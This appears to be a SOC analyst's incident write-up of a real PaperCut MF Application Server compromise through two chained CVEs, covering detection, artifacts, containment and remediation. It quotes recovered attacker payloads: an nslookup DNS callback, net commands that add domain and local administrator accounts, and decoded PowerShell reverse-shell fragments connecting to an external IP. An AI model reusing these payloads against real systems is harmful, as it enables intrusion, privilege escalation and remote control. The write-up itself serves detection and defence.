PaperCut CVE-2026-82078 and CVE-2026-81578 Analysis and Case Study

Introduction

On 27 August 2026, PaperCut published an urgent security advisory warning of active exploitation targeting PaperCut NG and PaperCut MF Application Servers. When chained together, CVE-2026-81578 and CVE-2026-82078 can result in pre-authentication remote code execution.

This post focuses on a real-world PaperCut Application Server compromise that I investigated in the SOC, covering the observed attacker activity, malicious payloads, command execution and containment.

The PaperCut Vulnerabilities

CVE-2026-81578 – Authentication Bypass

CVE-2026-81578 is an 8.8 High improper access control vulnerability that allows an unauthenticated attacker to reach administrative functionality and modify PaperCut configuration.

CVE-2026-82078 – Unsafe Dynamic Class Loading

CVE-2026-82078 is a 9.4 Critical unsafe dynamic class-loading vulnerability. By manipulating PaperCut's database configuration, an attacker can cause the Application Server to load attacker-controlled Java classes and execute arbitrary Java bytecode.

When chained together, the vulnerabilities result in pre-authentication remote code execution:

text

Unauthenticated Request
        ↓
CVE-2026-81578
Configuration Modification
        ↓
CVE-2026-82078
Attacker-Controlled Java Class Loading
        ↓
Arbitrary Code Execution
        ↓
Compromised PaperCut Application Server

In the compromise covered below, this ultimately resulted in attacker-controlled execution through pc-app.exe running as NT AUTHORITY\SYSTEM.

Case Study: PaperCut Application Server Compromise

While working an investigation in the SOC, I identified suspicious activity originating from an internet-exposed PaperCut MF Application Server running version 21.2.11.65657.

The activity was consistent with exploitation of CVE-2026-81578 and CVE-2026-82078, resulting in attacker-controlled command execution through the legitimate pc-app.exe process running as NT AUTHORITY\SYSTEM.

Out-of-Band Execution Verification

One of the initial behaviours I identified was pc-app.exe spawning the Windows nslookup.exe utility:

text

wininit.exe
└── services.exe
    └── pc-server.exe
        └── pc-app.exe
            └── nslookup.exe

The associated command line was:

cmd

C:\Windows\System32\nslookup.exe <REDACTED_UNIQUE_IDENTIFIER> pingb[.]in

The command instructed nslookup.exe to query a unique identifier using pingb[.]in as the DNS server, providing the threat actor with an out-of-band method of validating command execution and external DNS connectivity.

From a detection perspective, the process tree is particularly useful: a legitimate pc-app.exe process spawning nslookup.exe to communicate with an external DNS callback service is highly anomalous behaviour.

Malicious Java Payloads

During the wider investigation, I identified multiple malicious Java .class files written beneath PaperCut's application directory:

text

C:\Program Files\PaperCut MF\server\lib\<REDACTED>.class

Analysis of the recovered classes showed that they contained encoded commands used for further post-exploitation activity.

One payload attempted to create a new Active Directory account before adding it directly to the Domain Admins group:

cmd

C:\Windows\System32\cmd.exe /d /s /c echo ADMIN_TYPE=DOMAIN & echo Y| net user <REDACTED_USERNAME> <REDACTED_PASSWORD> /domain /add & net group "Domain Admins" <REDACTED_USERNAME> /domain /add & net user <REDACTED_USERNAME> /domain

Another payload implemented a local administrator fallback:

cmd

C:\Windows\System32\cmd.exe /d /s /c echo ADMIN_TYPE=LOCAL & net user <REDACTED_USERNAME> <REDACTED_PASSWORD> /add & (net localgroup Administrators <REDACTED_USERNAME> /add || net localgroup Administrateurs <REDACTED_USERNAME> /add || net localgroup Administratoren <REDACTED_USERNAME> /add || echo GROUP_ADD_SKIPPED) & net user <REDACTED_USERNAME>

One detail I found particularly interesting was the use of three different names for the local Administrators group:

text

Administrators     # English
Administrateurs    # French
Administratoren    # German

Rather than assuming an English-language Windows installation, the payload sequentially attempts the English, French and German localised names of the built-in Administrators group. This suggests the tooling was designed to operate across multiple Windows language configurations rather than being tailored to a single environment.

Command Output Artifacts

I also identified randomly named command-output files beneath PaperCut's web directory:

text

C:\Program Files\PaperCut MF\server\custom\web\

The filenames matched the following pattern: ^pcp_[0-9a-f]{8}\.txt$

One recovered file contained:

text

EXIT=0
Microsoft Windows [Version 10.0.17763.9121]

The EXIT=0 value indicates that the associated command returned an exit code of zero, while the Windows version output provided basic host information.

Reverse Shell and Command and Control

Another recovered .class file contained a large encoded PowerShell payload. Decoding the payload revealed reverse-shell functionality.

The script first queried the system's Active Directory domain:

powershell

$wer = Get-WMIObject Win32_ComputerSystem |
    Select-Object -ExpandProperty Domain

It was configured to establish a raw TCP connection to external infrastructure over TCP port 13338:

powershell

$rconns = New-Object System.Net.Sockets.TCPClient(
    "85.217.170[.]88",
    13338
)

$strmn = $rconns.GetStream()

Data received over the TCP socket would be converted from ASCII and passed directly into Invoke-Expression:

powershell

$backs12 = (
    iex (
        New-Object -TypeName System.Text.ASCIIEncoding
    ).GetString($btsofarr, 0, $i) 2>&1 |
    Out-String
)

The script was designed to return command output over the same connection and incorporated the current working directory into its response:

powershell

$backs2 = $backs12 + "O" + "UU" + "T " + (pwd).Path + " >> "

If successfully connected, this would provide the threat actor with an interactive reverse-shell capability, allowing commands to be received, executed on the compromised server and their output returned to the remote endpoint.

The connection was contained within an infinite loop:

powershell

while ($true) {
    # Establish C2 connection
    # Receive and execute commands
    # Return command output

    $rconns.Close()
    Start-Sleep -Seconds 3
}

This provided reconnection capability while the malicious process remained running.

Containment

During the investigation, I isolated the affected Application Server, cutting off further attacker activity.

PaperCut has documented other incidents where exploitation progressed to the deployment of remote-access tooling such as SimpleHelp and AnyDesk. Neither tool was observed in this incident, with the server isolated before the intrusion progressed to that stage.

Remediation

PaperCut recommends immediately restricting public access to affected PaperCut NG/MF Application Servers and applying the latest available security updates.

Recommended actions include:

Restrict Application Server web access to trusted IP addresses only.
Upgrade older installations to a supported PaperCut release and apply the latest Emergency Patch Release.
Where remote administration is required, place access behind a VPN or another controlled administrative path.

For the latest remediation guidance and patched versions, refer to the official PaperCut security advisory.

Conclusion

The PaperCut vulnerabilities demonstrate how quickly exploitation of an internet-facing application can progress from initial RCE into privileged account creation and remote-access capability.

More importantly, this investigation highlights the value of behavioural detection and context over individual IOCs. Behaviours such as pc-app.exe spawning unexpected Windows utilities, malicious classes appearing within application directories, and account-creation logic designed to account for multiple Windows language configurations provide detection opportunities that remain useful beyond a single hash or IP address.